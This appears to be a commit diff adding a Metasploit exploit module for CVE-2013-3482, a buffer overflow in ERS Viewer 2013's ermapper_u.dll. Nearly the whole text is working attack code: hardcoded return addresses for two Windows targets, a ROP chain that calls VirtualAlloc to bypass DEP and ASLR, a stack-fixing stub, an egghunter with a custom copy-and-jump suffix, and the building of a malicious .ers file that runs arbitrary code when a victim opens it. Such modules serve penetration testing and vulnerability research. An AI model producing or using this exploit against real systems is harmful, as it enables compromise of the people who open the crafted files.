Land #2083 - CVE-2013-3482 ERS Viewer 2013 ERS File Handling Overflow

modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb

@@ -0,0 +1,205 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Remote::Egghunter
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
+			'Description'    => %q{
+					This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
+				The vulnerability exists in the module ermapper_u.dll, where the function
+				rf_report_error handles user provided data in a insecure way. It results in
+				arbitrary code execution under the context of the user viewing a specially crafted
+				.ers file. This module has been tested successfully with ERS Viewer 2013 (versions
+				13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'James Fitts', # Vulnerability Discovery
+					'juan vazquez' # Metasploit
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2013-3482' ],
+					[ 'OSVDB', '93650' ],
+					[ 'URL', 'http://secunia.com/advisories/53620/' ]
+				],
+			'Payload'        =>
+				{
+					'Space'    => 4000,
+					'DisableNops' => true,
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "process",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					# Tested on Windows XP SP3
+					[ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',
+						{
+							'Offset' => 191,
+							'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll
+						}
+					],
+					# Tested on Windows XP SP3 and Windows 7 SP1
+					[ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',
+						{
+							'Offset' => 191,
+							'Ret' => 0x100E1152,     # xchg eax, esp # ret # from ermapper_u.dll
+							'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll
+							'VirtualAllocPtr' => 0x1010c0f4
+						}
+					]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "May 23 2013",
+			'DefaultTarget'  => 1))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
+			], self.class)
+
+	end
+
+	def create_rop_chain()
+		# rop chain generated with mona.py - www.corelan.be
+		rop_gadgets =
+			[
+				0x10082624,    # POP EAX # RETN [ermapper_u.dll]
+				0x1010c0f4,    # ptr to &VirtualAlloc() [IAT ermapper_u.dll]
+				0x1001a9c0,    # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll]
+				0x1005db36,    # XCHG EAX,ESI # RETN [ermapper_u.dll]
+				0x10105d87,    # POP EBX # RETN [ermapper_u.dll]
+				0xffffffff,    #
+				0x30d059d9,    # INC EBX # RETN [ethrlib.dll]
+				0x30d059d9,    # INC EBX # RETN [ethrlib.dll]
+				0x100e9dd9,    # POP EAX # RETN [ermapper_u.dll]
+				0xa2dbcf75,    # put delta into eax (-> put 0x00001000 into edx)
+				0x1001aa04,    # ADD EAX,5D24408B # RETN [ermapper_u.dll]
+				0x10016a98,    # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll]
+				0x10086d21,    # RETN (ROP NOP) [ermapper_u.dll]
+				0x1001a148,    # & push esp # ret  [ermapper_u.dll]
+				0x10082624,    # POP EAX # RETN [ermapper_u.dll]
+				0xffffffc0,    # Value to negate, will become 0x00000040
+				0x100f687d,    # NEG EAX # RETN [ermapper_u.dll]
+				0x1001e720,    # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll]
+				0x100288b5,    # POP EAX # RETN [ermapper_u.dll]
+				0x90909090,    # nop
+				0x100e69e0,    # PUSHAD # RETN [ermapper_u.dll]
+			].flatten.pack("V*")
+
+		return rop_gadgets
+	end
+
+	# Restore the stack pointer in order to execute the final payload successfully
+	def fix_stack
+		pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18] # get teb
+		pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
+		pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
+		pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
+		return pivot
+	end
+
+	# In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding
+	# the payload on memory we can't jump there directly, but allocate executable memory
+	# and jump there. Badchars: "\x0a\x0d\x00"
+	def hunter_suffix(payload_length)
+		# push flProtect (0x40)
+		suffix = "\xB8\xC0\xFF\xFF\xFF"                              # mov eax, 0xffffffc0
+		suffix << "\xF7\xD8"                                         # neg eax
+		suffix << "\x50"                                             # push eax
+		# push flAllocationType (0x3000)
+		suffix << "\x66\x05\xC0\x2F"                                 # add ax, 0x2fc0
+		suffix << "\x50"                                             # push eax
+		# push dwSize (0x1000)
+		suffix << "\x66\x2D\xFF\x1F"                                 # sub ax, 0x1fff
+		suffix << "\x48"                                             # dec eax
+		suffix << "\x50"                                             # push eax
+		# push lpAddress
+		suffix << "\xB8\x0C\x0C\x0C\x0C"                             # mov eax, 0x0c0c0c0c
+		suffix << "\x50" # push eax
+		# Call VirtualAlloc
+		suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc
+		# Copy payload (edi) to Allocated memory (eax)
+		suffix << "\x89\xFE"                                         # mov esi, edi
+		suffix << "\x89\xC7"                                         # mov edi, eax
+		suffix << "\x31\xC9"                                         # xor ecx, ecx
+		suffix << "\x66\x81\xC1" + [payload_length].pack("v")        # add cx, payload_length
+		suffix << "\xF3\xA4"                                         # rep movsb
+		# Jmp to the final payload (eax)
+		suffix << "\xFF\xE0"                                         # jmp eax
+
+		return suffix
+	end
+
+	def exploit
+
+		#These badchars do not apply to the final payload
+		badchars = [0x0c, 0x0d, 0x0a].pack("C*")
+
+		eggoptions =
+			{
+				:checksum => true,
+				:eggtag => 'w00t'
+			}
+		my_payload = fix_stack + payload.encoded
+
+		if target.name =~ /DEP & ASLR bypass/
+			# The payload length can't include NULL's in order to
+			# build the stub which will copy the final payload to
+			# executable memory
+			while [my_payload.length].pack("v").include?("\x00")
+				my_payload << rand_text(1)
+			end
+		end
+
+		hunter,egg = generate_egghunter(my_payload, badchars, eggoptions)
+
+		if target.name =~ /DEP & ASLR bypass/
+			hunter.gsub!(/\xff\xe7/, hunter_suffix(my_payload.length))
+		end
+
+		if target.name =~ /NO DEP/
+			buf = rand_text_alpha(1)
+			buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected
+			buf << "AA" # EAX pointing to buf[5] prefixed with 0x00 after ret
+			buf << hunter
+			buf << rand_text_alpha(target['Offset'] - buf.length)
+			buf << [target.ret].pack("V") # jmp eax
+			buf << rand_text_alpha(8)
+			buf << egg
+		elsif target.name =~ /DEP & ASLR bypass/
+			buf = rand_text_alpha(1)
+			buf << (0x01..0x04).to_a.pack("C*") # Necessary to align EAX as expected
+			buf << [target['RetNull']].pack("V")[1,3] # EAX pointing to buf[5] prefixed with 0x00 after ret
+			buf << create_rop_chain
+			buf << hunter
+			buf << rand_text_alpha(target['Offset'] - buf.length)
+			buf << [target.ret].pack("V") # xchg eax, esp # ret
+			buf << rand_text_alpha(8)
+			buf << egg
+		end
+
+		ers = %Q|
+DatasetHeader Begin
+#{buf} End
+		|
+
+		file_create(ers)
+	end
+end